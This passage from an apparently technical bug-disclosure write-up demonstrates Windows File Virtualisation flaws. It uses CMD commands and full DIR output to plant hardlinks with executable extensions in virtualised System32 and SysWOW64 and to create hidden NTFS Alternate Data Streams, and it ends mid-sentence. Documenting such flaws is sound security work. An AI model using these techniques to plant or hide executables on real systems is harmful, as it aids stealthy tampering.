    Hardlink created for C:\Windows\System32\Quirk49.BAT <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com
    Hardlink created for C:\Windows\System32\Quirk49.CMD <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com
    Hardlink created for C:\Windows\System32\Quirk49.VBS <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com
    Hardlink created for C:\Windows\System32\Quirk49.JS <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com
    Hardlink created for C:\Windows\System32\Quirk49.WS <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com
    Hardlink created for C:\Windows\System32\Quirk49.MSC <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com
    Hardlink created for C:\Windows\System32\Quirk49.dll <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com
    Hardlink created for C:\Windows\System32\Quirk49.efi <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com
    Hardlink created for C:\Windows\System32\Quirk49.htm <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com
    Hardlink created for C:\Windows\System32\Quirk49.iso <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com
    Hardlink created for C:\Windows\System32\Quirk49.jse <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com
    Hardlink created for C:\Windows\System32\Quirk49.lnk <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com
    Hardlink created for C:\Windows\System32\Quirk49.pif <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com
    Hardlink created for C:\Windows\System32\Quirk49.scr <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com
    Hardlink created for C:\Windows\System32\Quirk49.sys <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com
    Hardlink created for C:\Windows\System32\Quirk49.ttf <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com
    Hardlink created for C:\Windows\System32\Quirk49.url <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com
    Hardlink created for C:\Windows\System32\Quirk49.vbe <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com
    Hardlink created for C:\Windows\System32\Quirk49.wll <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com
    Hardlink created for C:\Windows\System32\Quirk49.wsf <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com
    Hardlink created for C:\Windows\System32\Quirk49.wsh <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com
    Hardlink created for C:\Windows\System32\Quirk49.xll <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Windows\System32
    
    04/27/2020  08:15 PM    <DIR>          Quirk49
    04/27/2020  08:15 PM           302,080 Quirk49.BAT
    04/27/2020  08:15 PM           302,080 Quirk49.CMD
    04/27/2020  08:15 PM           302,080 Quirk49.COM
    04/27/2020  08:15 PM           302,080 Quirk49.dll
    04/27/2020  08:15 PM           302,080 Quirk49.efi
    04/27/2020  08:15 PM           302,080 Quirk49.EXE
    04/27/2020  08:15 PM           302,080 Quirk49.htm
    04/27/2020  08:15 PM           302,080 Quirk49.iso
    04/27/2020  08:15 PM           302,080 Quirk49.JS
    04/27/2020  08:15 PM           302,080 Quirk49.jse
    04/27/2020  08:15 PM           302,080 Quirk49.lnk
    04/27/2020  08:15 PM           302,080 Quirk49.MSC
    04/27/2020  08:15 PM           302,080 Quirk49.pif
    04/27/2020  08:15 PM           302,080 Quirk49.scr
    04/27/2020  08:15 PM           302,080 Quirk49.sys
    04/27/2020  08:15 PM           302,080 Quirk49.ttf
    04/27/2020  08:15 PM           302,080 Quirk49.url
    04/27/2020  08:15 PM           302,080 Quirk49.vbe
    04/27/2020  08:15 PM           302,080 Quirk49.VBS
    04/27/2020  08:15 PM           302,080 Quirk49.wll
    04/27/2020  08:15 PM           302,080 Quirk49.WS
    04/27/2020  08:15 PM           302,080 Quirk49.wsf
    04/27/2020  08:15 PM           302,080 Quirk49.wsh
    04/27/2020  08:15 PM           302,080 Quirk49.xll
                  24 File(s)      7,249,920 bytes
    
     Directory of C:\Windows\SysWOW64
    
    04/27/2020  08:15 PM    <DIR>          Quirk49
    04/27/2020  08:15 PM           302,080 Quirk49.BAT
    04/27/2020  08:15 PM           302,080 Quirk49.CMD
    04/27/2020  08:15 PM           302,080 Quirk49.COM
    04/27/2020  08:15 PM           302,080 Quirk49.dll
    04/27/2020  08:15 PM           302,080 Quirk49.efi
    04/27/2020  08:15 PM           302,080 Quirk49.EXE
    04/27/2020  08:15 PM           302,080 Quirk49.htm
    04/27/2020  08:15 PM           302,080 Quirk49.iso
    04/27/2020  08:15 PM           302,080 Quirk49.JS
    04/27/2020  08:15 PM           302,080 Quirk49.jse
    04/27/2020  08:15 PM           302,080 Quirk49.lnk
    04/27/2020  08:15 PM           302,080 Quirk49.MSC
    04/27/2020  08:15 PM           302,080 Quirk49.pif
    04/27/2020  08:15 PM           302,080 Quirk49.scr
    04/27/2020  08:15 PM           302,080 Quirk49.sys
    04/27/2020  08:15 PM           302,080 Quirk49.ttf
    04/27/2020  08:15 PM           302,080 Quirk49.url
    04/27/2020  08:15 PM           302,080 Quirk49.vbe
    04/27/2020  08:15 PM           302,080 Quirk49.VBS
    04/27/2020  08:15 PM           302,080 Quirk49.wll
    04/27/2020  08:15 PM           302,080 Quirk49.WS
    04/27/2020  08:15 PM           302,080 Quirk49.wsf
    04/27/2020  08:15 PM           302,080 Quirk49.wsh
    04/27/2020  08:15 PM           302,080 Quirk49.xll
                  24 File(s)      7,249,920 bytes
    
         Total Files Listed:
                  48 File(s)     14,499,840 bytes
                   2 Dir(s)    9,876,543,210 bytes free
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore
    
    04/27/2020  08:15 PM    <DIR>          .
    04/27/2020  08:15 PM    <DIR>          ..
    04/27/2020  08:15 PM    <DIR>          Windows
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows
    
    04/27/2020  08:15 PM    <DIR>          .
    04/27/2020  08:15 PM    <DIR>          ..
    04/27/2020  08:15 PM    <DIR>          Syswow64
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Syswow64
    
    04/27/2020  08:15 PM    <DIR>          .
    04/27/2020  08:15 PM    <DIR>          ..
    04/27/2020  08:15 PM    <DIR>          Quirk49
    04/27/2020  08:15 PM           302,080 Quirk49.BAT
    04/27/2020  08:15 PM           302,080 Quirk49.CMD
    04/27/2020  08:15 PM           302,080 Quirk49.COM
    04/27/2020  08:15 PM           302,080 Quirk49.dll
    04/27/2020  08:15 PM           302,080 Quirk49.efi
    04/27/2020  08:15 PM           302,080 Quirk49.EXE
    04/27/2020  08:15 PM           302,080 Quirk49.htm
    04/27/2020  08:15 PM           302,080 Quirk49.iso
    04/27/2020  08:15 PM           302,080 Quirk49.JS
    04/27/2020  08:15 PM           302,080 Quirk49.jse
    04/27/2020  08:15 PM           302,080 Quirk49.lnk
    04/27/2020  08:15 PM           302,080 Quirk49.MSC
    04/27/2020  08:15 PM           302,080 Quirk49.pif
    04/27/2020  08:15 PM           302,080 Quirk49.scr
    04/27/2020  08:15 PM           302,080 Quirk49.sys
    04/27/2020  08:15 PM           302,080 Quirk49.ttf
    04/27/2020  08:15 PM           302,080 Quirk49.url
    04/27/2020  08:15 PM           302,080 Quirk49.vbe
    04/27/2020  08:15 PM           302,080 Quirk49.VBS
    04/27/2020  08:15 PM           302,080 Quirk49.wll
    04/27/2020  08:15 PM           302,080 Quirk49.WS
    04/27/2020  08:15 PM           302,080 Quirk49.wsf
    04/27/2020  08:15 PM           302,080 Quirk49.wsh
    04/27/2020  08:15 PM           302,080 Quirk49.xll
                  24 File(s)      7,249,920 bytes
    
         Total Files Listed:
                  24 File(s)      7,249,920 bytes
                   9 Dir(s)    9,876,543,210 bytes free
    OUCH: contrary to the statements cited above, executable files can be created with arbitrary extensions!

    Oops: all hardlinks created in the system directory %SystemRoot%\System32\ appear in %SystemRoot%\SysWoW64\ too!

  11. Move the (dangerous) hardlinks created in step 10. from the system directory %SystemRoot%\System32\ into the current (working) directory, then list the resulting contents of the system directory and the virtual store:

    MOVE "%SystemRoot%\System32\Quirk49.*" .
    DIR /A /R /S "%SystemRoot%\Quirk49.*"
    DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
    The system cannot find the file specified.
    The system cannot find the file specified.
    The system cannot find the file specified.
    The system cannot find the file specified.
    C:\Windows\system32\Quirk49.efi
    The system cannot find the file specified.
    C:\Windows\system32\Quirk49.htm
    C:\Windows\system32\Quirk49.iso
    The system cannot find the file specified.
    The system cannot find the file specified.
    The system cannot find the file specified.
    The system cannot find the file specified.
    The system cannot find the file specified.
    The system cannot find the file specified.
    The system cannot find the file specified.
    C:\Windows\system32\Quirk49.ttf
    The system cannot find the file specified.
    The system cannot find the file specified.
    The system cannot find the file specified.
    C:\Windows\system32\Quirk49.wll
    The system cannot find the file specified.
    The system cannot find the file specified.
    The system cannot find the file specified.
    C:\Windows\system32\Quirk49.xll
            6 File(s) moved.
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Windows\System32
    
    04/27/2020  08:15 PM    <DIR>          Quirk49
    04/27/2020  08:15 PM           302,080 Quirk49.BAT
    04/27/2020  08:15 PM           302,080 Quirk49.CMD
    04/27/2020  08:15 PM           302,080 Quirk49.COM
    04/27/2020  08:15 PM           302,080 Quirk49.dll
    04/27/2020  08:15 PM           302,080 Quirk49.EXE
    04/27/2020  08:15 PM           302,080 Quirk49.JS
    04/27/2020  08:15 PM           302,080 Quirk49.jse
    04/27/2020  08:15 PM           302,080 Quirk49.lnk
    04/27/2020  08:15 PM           302,080 Quirk49.MSC
    04/27/2020  08:15 PM           302,080 Quirk49.pif
    04/27/2020  08:15 PM           302,080 Quirk49.scr
    04/27/2020  08:15 PM           302,080 Quirk49.sys
    04/27/2020  08:15 PM           302,080 Quirk49.url
    04/27/2020  08:15 PM           302,080 Quirk49.vbe
    04/27/2020  08:15 PM           302,080 Quirk49.VBS
    04/27/2020  08:15 PM           302,080 Quirk49.WS
    04/27/2020  08:15 PM           302,080 Quirk49.wsf
    04/27/2020  08:15 PM           302,080 Quirk49.wsh
                  18 File(s)      5,437,440 bytes
    
     Directory of C:\Windows\SysWOW64
    
    04/27/2020  08:15 PM    <DIR>          Quirk49
    04/27/2020  08:15 PM           302,080 Quirk49.BAT
    04/27/2020  08:15 PM           302,080 Quirk49.CMD
    04/27/2020  08:15 PM           302,080 Quirk49.COM
    04/27/2020  08:15 PM           302,080 Quirk49.dll
    04/27/2020  08:15 PM           302,080 Quirk49.EXE
    04/27/2020  08:15 PM           302,080 Quirk49.JS
    04/27/2020  08:15 PM           302,080 Quirk49.jse
    04/27/2020  08:15 PM           302,080 Quirk49.lnk
    04/27/2020  08:15 PM           302,080 Quirk49.MSC
    04/27/2020  08:15 PM           302,080 Quirk49.pif
    04/27/2020  08:15 PM           302,080 Quirk49.scr
    04/27/2020  08:15 PM           302,080 Quirk49.sys
    04/27/2020  08:15 PM           302,080 Quirk49.url
    04/27/2020  08:15 PM           302,080 Quirk49.vbe
    04/27/2020  08:15 PM           302,080 Quirk49.VBS
    04/27/2020  08:15 PM           302,080 Quirk49.WS
    04/27/2020  08:15 PM           302,080 Quirk49.wsf
    04/27/2020  08:15 PM           302,080 Quirk49.wsh
                  18 File(s)      5,437,440 bytes
    
         Total Files Listed:
                  36 File(s)     10,874,880 bytes
                   2 Dir(s)    9,876,543,210 bytes free
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore
    
    04/27/2020  08:15 PM    <DIR>          .
    04/27/2020  08:15 PM    <DIR>          ..
    04/27/2020  08:15 PM    <DIR>          Windows
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows
    
    04/27/2020  08:15 PM    <DIR>          .
    04/27/2020  08:15 PM    <DIR>          ..
    04/27/2020  08:15 PM    <DIR>          Syswow64
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Syswow64
    
    04/27/2020  08:15 PM    <DIR>          .
    04/27/2020  08:15 PM    <DIR>          ..
    04/27/2020  08:15 PM    <DIR>          Quirk49
    04/27/2020  08:15 PM           302,080 Quirk49.BAT
    04/27/2020  08:15 PM           302,080 Quirk49.CMD
    04/27/2020  08:15 PM           302,080 Quirk49.COM
    04/27/2020  08:15 PM           302,080 Quirk49.dll
    04/27/2020  08:15 PM           302,080 Quirk49.EXE
    04/27/2020  08:15 PM           302,080 Quirk49.JS
    04/27/2020  08:15 PM           302,080 Quirk49.jse
    04/27/2020  08:15 PM           302,080 Quirk49.lnk
    04/27/2020  08:15 PM           302,080 Quirk49.MSC
    04/27/2020  08:15 PM           302,080 Quirk49.pif
    04/27/2020  08:15 PM           302,080 Quirk49.scr
    04/27/2020  08:15 PM           302,080 Quirk49.sys
    04/27/2020  08:15 PM           302,080 Quirk49.url
    04/27/2020  08:15 PM           302,080 Quirk49.vbe
    04/27/2020  08:15 PM           302,080 Quirk49.VBS
    04/27/2020  08:15 PM           302,080 Quirk49.WS
    04/27/2020  08:15 PM           302,080 Quirk49.wsf
    04/27/2020  08:15 PM           302,080 Quirk49.wsh
                  18 File(s)      5,437,440 bytes
    
         Total Files Listed:
                  18 File(s)      5,437,440 bytes
                   9 Dir(s)    9,876,543,210 bytes free
    OUCH: moving (executable) files or hardlinks with dangerous extensions fails with the wrong error message The system cannot find the file specified. instead of the appropriate error message Access denied.
  12. Execute the hardlinks left in the system directory %SystemRoot%\System32\:

    FOR %? IN ("%SystemRoot%\System32\Quirk49.*") DO @CALL "%~?"
    The batch file cannot be found.
    The batch file cannot be found.
    The system cannot find the file C:\Windows\system32\quirk49.COM.
    The system cannot find the file C:\Windows\system32\quirk49.dll.
    The system cannot find the file C:\Windows\system32\quirk49.EXE.
    The system cannot find the file C:\Windows\system32\quirk49.JS.
    The system cannot find the file C:\Windows\system32\quirk49.jse.
    The system cannot find the file C:\Windows\system32\quirk49.lnk.
    The system cannot find the file C:\Windows\system32\quirk49.MSC.
    The system cannot find the file C:\Windows\system32\quirk49.pif.
    The system cannot find the file C:\Windows\system32\quirk49.scr.
    The system cannot find the file C:\Windows\system32\quirk49.sys.
    The system cannot find the file C:\Windows\system32\quirk49.url.
    The system cannot find the file C:\Windows\system32\quirk49.vbe.
    The system cannot find the file C:\Windows\system32\quirk49.VBS.
    The system cannot find the file C:\Windows\system32\quirk49.WS.
    The system cannot find the file C:\Windows\system32\quirk49.wsf.
    The system cannot find the file C:\Windows\system32\quirk49.wsh.
    OUCH: executing (files or) hardlinks with dangerous extensions fails with the wrong error message The batch file cannot be found. for batch scripts and for other files with the wrong error message The system cannot find the file …. instead of the appropriate error message Access denied.
  13. Create some (empty) NTFS Alternate Data Streams on the directory %SystemRoot%\System32\Quirk49\ created in step 6., then list the resulting contents of only this directory and the virtual store:

    FOR %? IN (%PATHEXT% %QUIRKS18%) DO @BREAK 1>"%SystemRoot%\System32\Quirk49:Quirk49%?"
    DIR /A /R /S "%SystemRoot%\Quirk49"
    DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Windows\System32
    
    04/27/2020  08:15 PM    <DIR>          Quirk49
                                         0 Quirk49:Quirk49.BAT:$DATA
                                         0 Quirk49:Quirk49.CMD:$DATA
                                         0 Quirk49:Quirk49.COM:$DATA
                                         0 Quirk49:Quirk49.dll:$DATA
                                         0 Quirk49:Quirk49.efi:$DATA
                                         0 Quirk49:Quirk49.EXE:$DATA
                                         0 Quirk49:Quirk49.htm:$DATA
                                         0 Quirk49:Quirk49.iso:$DATA
                                         0 Quirk49:Quirk49.JS:$DATA
                                         0 Quirk49:Quirk49.jse:$DATA
                                         0 Quirk49:Quirk49.lnk:$DATA
                                         0 Quirk49:Quirk49.MSC:$DATA
                                         0 Quirk49:Quirk49.pif:$DATA
                                         0 Quirk49:Quirk49.scr:$DATA
                                         0 Quirk49:Quirk49.sys:$DATA
                                         0 Quirk49:Quirk49.ttf:$DATA
                                         0 Quirk49:Quirk49.url:$DATA
                                         0 Quirk49:Quirk49.vbe:$DATA
                                         0 Quirk49:Quirk49.VBS:$DATA
                                         0 Quirk49:Quirk49.wll:$DATA
                                         0 Quirk49:Quirk49.WS:$DATA
                                         0 Quirk49:Quirk49.wsf:$DATA
                                         0 Quirk49:Quirk49.wsh:$DATA
                                         0 Quirk49:Quirk49.xll:$DATA
                   0 File(s)              0 bytes
    
     Directory of C:\Windows\SysWOW64
    
    04/27/2020  08:15 PM    <DIR>          Quirk49
                                         0 Quirk49:Quirk49.BAT:$DATA
                                         0 Quirk49:Quirk49.CMD:$DATA
                                         0 Quirk49:Quirk49.COM:$DATA
                                         0 Quirk49:Quirk49.dll:$DATA
                                         0 Quirk49:Quirk49.efi:$DATA
                                         0 Quirk49:Quirk49.EXE:$DATA
                                         0 Quirk49:Quirk49.htm:$DATA
                                         0 Quirk49:Quirk49.iso:$DATA
                                         0 Quirk49:Quirk49.JS:$DATA
                                         0 Quirk49:Quirk49.jse:$DATA
                                         0 Quirk49:Quirk49.lnk:$DATA
                                         0 Quirk49:Quirk49.MSC:$DATA
                                         0 Quirk49:Quirk49.pif:$DATA
                                         0 Quirk49:Quirk49.scr:$DATA
                                         0 Quirk49:Quirk49.sys:$DATA
                                         0 Quirk49:Quirk49.ttf:$DATA
                                         0 Quirk49:Quirk49.url:$DATA
                                         0 Quirk49:Quirk49.vbe:$DATA
                                         0 Quirk49:Quirk49.VBS:$DATA
                                         0 Quirk49:Quirk49.wll:$DATA
                                         0 Quirk49:Quirk49.WS:$DATA
                                         0 Quirk49:Quirk49.wsf:$DATA
                                         0 Quirk49:Quirk49.wsh:$DATA
                                         0 Quirk49:Quirk49.xll:$DATA
                   0 File(s)              0 bytes
    
         Total Files Listed:
                   0 File(s)              0 bytes
                   2 Dir(s)    9,876,543,210 bytes free
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore
    
    04/27/2020  08:15 PM    <DIR>          .
    04/27/2020  08:15 PM    <DIR>          ..
    04/27/2020  08:15 PM    <DIR>          Windows
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows
    
    04/27/2020  08:15 PM    <DIR>          .
    04/27/2020  08:15 PM    <DIR>          ..
    04/27/2020  08:15 PM    <DIR>          Syswow64
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Syswow64
    
    04/27/2020  08:15 PM    <DIR>          .
    04/27/2020  08:15 PM    <DIR>          ..
    04/27/2020  08:15 PM    <DIR>          Quirk49
                                         0 Quirk49:Quirk49.BAT:$DATA
                                         0 Quirk49:Quirk49.CMD:$DATA
                                         0 Quirk49:Quirk49.COM:$DATA
                                         0 Quirk49:Quirk49.dll:$DATA
                                         0 Quirk49:Quirk49.efi:$DATA
                                         0 Quirk49:Quirk49.EXE:$DATA
                                         0 Quirk49:Quirk49.htm:$DATA
                                         0 Quirk49:Quirk49.iso:$DATA
                                         0 Quirk49:Quirk49.JS:$DATA
                                         0 Quirk49:Quirk49.jse:$DATA
                                         0 Quirk49:Quirk49.lnk:$DATA
                                         0 Quirk49:Quirk49.MSC:$DATA
                                         0 Quirk49:Quirk49.pif:$DATA
                                         0 Quirk49:Quirk49.scr:$DATA
                                         0 Quirk49:Quirk49.sys:$DATA
                                         0 Quirk49:Quirk49.ttf:$DATA
                                         0 Quirk49:Quirk49.url:$DATA
                                         0 Quirk49:Quirk49.vbe:$DATA
                                         0 Quirk49:Quirk49.VBS:$DATA
                                         0 Quirk49:Quirk49.wll:$DATA
                                         0 Quirk49:Quirk49.WS:$DATA
                                         0 Quirk49:Quirk49.wsf:$DATA
                                         0 Quirk49:Quirk49.wsh:$DATA
                                         0 Quirk49:Quirk49.xll:$DATA
    04/27/2020  08:15 PM           302,080 Quirk49.BAT
    04/27/2020  08:15 PM           302,080 Quirk49.CMD
    04/27/2020  08:15 PM           302,080 Quirk49.COM
    04/27/2020  08:15 PM           302,080 Quirk49.dll
    04/27/2020  08:15 PM           302,080 Quirk49.EXE
    04/27/2020  08:15 PM           302,080 Quirk49.JS
    04/27/2020  08:15 PM           302,080 Quirk49.jse
    04/27/2020  08:15 PM           302,080 Quirk49.lnk
    04/27/2020  08:15 PM           302,080 Quirk49.MSC
    04/27/2020  08:15 PM           302,080 Quirk49.pif
    04/27/2020  08:15 PM           302,080 Quirk49.scr
    04/27/2020  08:15 PM           302,080 Quirk49.sys
    04/27/2020  08:15 PM           302,080 Quirk49.url
    04/27/2020  08:15 PM           302,080 Quirk49.vbe
    04/27/2020  08:15 PM           302,080 Quirk49.VBS
    04/27/2020  08:15 PM           302,080 Quirk49.WS
    04/27/2020  08:15 PM           302,080 Quirk49.wsf
    04/27/2020  08:15 PM           302,080 Quirk49.wsh
                  18 File(s)      5,437,440 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Syswow64
    
    04/27/2020  08:15 PM    <DIR>          .
                                         0 .:Quirk49.BAT:$DATA
                                         0 .:Quirk49.CMD:$DATA
                                         0 .:Quirk49.COM:$DATA
                                         0 .:Quirk49.dll:$DATA
                                         0 .:Quirk49.efi:$DATA
                                         0 .:Quirk49.EXE:$DATA
                                         0 .:Quirk49.htm:$DATA
                                         0 .:Quirk49.iso:$DATA
                                         0 .:Quirk49.JS:$DATA
                                         0 .:Quirk49.jse:$DATA
                                         0 .:Quirk49.lnk:$DATA
                                         0 .:Quirk49.MSC:$DATA
                                         0 .:Quirk49.pif:$DATA
                                         0 .:Quirk49.scr:$DATA
                                         0 .:Quirk49.sys:$DATA
                                         0 .:Quirk49.ttf:$DATA
                                         0 .:Quirk49.url:$DATA
                                         0 .:Quirk49.vbe:$DATA
                                         0 .:Quirk49.VBS:$DATA
                                         0 .:Quirk49.wll:$DATA
                                         0 .:Quirk49.WS:$DATA
                                         0 .:Quirk49.wsf:$DATA
                                         0 .:Quirk49.wsh:$DATA
                                         0 .:Quirk49.xll:$DATA
    04/27/2020  08:15 PM    <DIR>          ..
                   0 File(s)              0 bytes
    
         Total Files Listed:
                  18 File(s)      5,437,440 bytes
                  11 Dir(s)    9,876,543,210 bytes free
    Oops: the builtin DIR /R command of the Command Processor enumerates Alternate Data Streams not only on regular directories, but also on the pseudo directories . (and ..) synthesised by the Win32 functions FindFirstFile() and FindNextFile(), resulting in double (or triple) listing of Alternate Data Streams when the switches /R and /S are used together!
  14. Erase the subdirectory Quirk49 with its Alternate Data Streams and all (files or) hardlinks Quirk49.* created above, then list the resulting contents of the system directory and the virtual store:

    ERASE "%SystemRoot%\System32\Quirk49.*"
    RMDIR "%SystemRoot%\System32\Quirk49"
    DIR /A /R /S "%SystemRoot%\Quirk49.*"
    DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
    C:\Windows\System32\Quirk49.BAT
    The system cannot find the file specified.
    C:\Windows\System32\Quirk49.CMD
    The system cannot find the file specified.
    C:\Windows\System32\Quirk49.COM
    The system cannot find the file specified.
    C:\Windows\System32\Quirk49.dll
    The system cannot find the file specified.
    C:\Windows\System32\Quirk49.EXE
    The system cannot find the file specified.
    C:\Windows\System32\Quirk49.JS
    The system cannot find the file specified.
    C:\Windows\System32\Quirk49.jse
    The system cannot find the file specified.
    C:\Windows\System32\Quirk49.lnk
    The system cannot find the file specified.
    C:\Windows\System32\Quirk49.MSC
    The system cannot find the file specified.
    C:\Windows\System32\Quirk49.pif
    The system cannot find the file specified.
    C:\Windows\System32\Quirk49.scr
    The system cannot find the file specified.
    C:\Windows\System32\Quirk49.sys
    The system cannot find the file specified.
    C:\Windows\System32\Quirk49.url
    The system cannot find the file specified.
    C:\Windows\System32\Quirk49.vbe
    The system cannot find the file specified.
    C:\Windows\System32\Quirk49.VBS
    The system cannot find the file specified.
    C:\Windows\System32\Quirk49.WS
    The system cannot find the file specified.
    C:\Windows\System32\Quirk49.wsf
    The system cannot find the file specified.
    C:\Windows\System32\Quirk49.wsh
    The system cannot find the file specified.
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Windows\System32
    
    04/27/2020  08:15 PM           302,080 Quirk49.BAT
    04/27/2020  08:15 PM           302,080 Quirk49.CMD
    04/27/2020  08:15 PM           302,080 Quirk49.COM
    04/27/2020  08:15 PM           302,080 Quirk49.dll
    04/27/2020  08:15 PM           302,080 Quirk49.EXE
    04/27/2020  08:15 PM           302,080 Quirk49.JS
    04/27/2020  08:15 PM           302,080 Quirk49.jse
    04/27/2020  08:15 PM           302,080 Quirk49.lnk
    04/27/2020  08:15 PM           302,080 Quirk49.MSC
    04/27/2020  08:15 PM           302,080 Quirk49.pif
    04/27/2020  08:15 PM           302,080 Quirk49.scr
    04/27/2020  08:15 PM           302,080 Quirk49.sys
    04/27/2020  08:15 PM           302,080 Quirk49.url
    04/27/2020  08:15 PM           302,080 Quirk49.vbe
    04/27/2020  08:15 PM           302,080 Quirk49.VBS
    04/27/2020  08:15 PM           302,080 Quirk49.WS
    04/27/2020  08:15 PM           302,080 Quirk49.wsf
    04/27/2020  08:15 PM           302,080 Quirk49.wsh
                  18 File(s)      5,437,440 bytes
    
     Directory of C:\Windows\SysWOW64
    
    04/27/2020  08:15 PM           302,080 Quirk49.BAT
    04/27/2020  08:15 PM           302,080 Quirk49.CMD
    04/27/2020  08:15 PM           302,080 Quirk49.COM
    04/27/2020  08:15 PM           302,080 Quirk49.dll
    04/27/2020  08:15 PM           302,080 Quirk49.EXE
    04/27/2020  08:15 PM           302,080 Quirk49.JS
    04/27/2020  08:15 PM           302,080 Quirk49.jse
    04/27/2020  08:15 PM           302,080 Quirk49.lnk
    04/27/2020  08:15 PM           302,080 Quirk49.MSC
    04/27/2020  08:15 PM           302,080 Quirk49.pif
    04/27/2020  08:15 PM           302,080 Quirk49.scr
    04/27/2020  08:15 PM           302,080 Quirk49.sys
    04/27/2020  08:15 PM           302,080 Quirk49.url
    04/27/2020  08:15 PM           302,080 Quirk49.vbe
    04/27/2020  08:15 PM           302,080 Quirk49.VBS
    04/27/2020  08:15 PM           302,080 Quirk49.WS
    04/27/2020  08:15 PM           302,080 Quirk49.wsf
    04/27/2020  08:15 PM           302,080 Quirk49.wsh
                  18 File(s)      5,437,440 bytes
    
         Total Files Listed:
                  36 File(s)     10,874,880 bytes
                   0 Dir(s)    9,876,543,210 bytes free
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore
    
    04/27/2020  08:15 PM    <DIR>          .
    04/27/2020  08:15 PM    <DIR>          ..
    04/27/2020  08:15 PM    <DIR>          Windows
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows
    
    04/27/2020  08:15 PM    <DIR>          .
    04/27/2020  08:15 PM    <DIR>          ..
    04/27/2020  08:15 PM    <DIR>          Syswow64
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Syswow64
    
    04/27/2020  08:15 PM    <DIR>          .
    04/27/2020  08:15 PM    <DIR>          ..
    04/27/2020  08:15 PM           302,080 Quirk49.BAT
    04/27/2020  08:15 PM           302,080 Quirk49.CMD
    04/27/2020  08:15 PM           302,080 Quirk49.COM
    04/27/2020  08:15 PM           302,080 Quirk49.dll
    04/27/2020  08:15 PM           302,080 Quirk49.EXE
    04/27/2020  08:15 PM           302,080 Quirk49.JS
    04/27/2020  08:15 PM           302,080 Quirk49.jse
    04/27/2020  08:15 PM           302,080 Quirk49.lnk
    04/27/2020  08:15 PM           302,080 Quirk49.MSC
    04/27/2020  08:15 PM           302,080 Quirk49.pif
    04/27/2020  08:15 PM           302,080 Quirk49.scr
    04/27/2020  08:15 PM           302,080 Quirk49.sys
    04/27/2020  08:15 PM           302,080 Quirk49.url
    04/27/2020  08:15 PM           302,080 Quirk49.vbe
    04/27/2020  08:15 PM           302,080 Quirk49.VBS
    04/27/2020  08:15 PM           302,080 Quirk49.WS
    04/27/2020  08:15 PM           302,080 Quirk49.wsf
    04/27/2020  08:15 PM           302,080 Quirk49.wsh
                  18 File(s)      5,437,440 bytes
    
         Total Files Listed:
                  18 File(s)      5,437,440 bytes
                   8 Dir(s)    9,876,543,210 bytes free
    OUCH: deleting (files or) hardlinks with dangerous extensions fails with the wrong error message The system cannot find the file specified. instead of the appropriate error message Access denied.
  15. Finally cleanup the mess created in the virtual store due to the bugs of the File Virtualisation:

    RMDIR "%LOCALAPPDATA%\VirtualStore\SysWoW64\Quirk49"
    ERASE "%LOCALAPPDATA%\VirtualStore\SysWoW64\Quirk49.*"
    RMDIR "%LOCALAPPDATA%\VirtualStore\SysWoW64"
Note: the repetition of this demonstration under a 32-bit edition of Windows Vista or any later version is left as an exercise to the reader.

Demonstration (Variant 3)

Perform the following 6 (plus 1) simple steps to show the undocumented (mis)behaviour for some well-known extensions of dangerous alias executable files first, second a bug with NTFS Alternate Data Streams in the Win32 function DeleteFile(), and third yet another bug with Alternate Data Streams in the builtin DIR /R command of the Command Processor:
  1. Create the text file quirk49.c with the following content in an arbitrary, preferable empty directory:

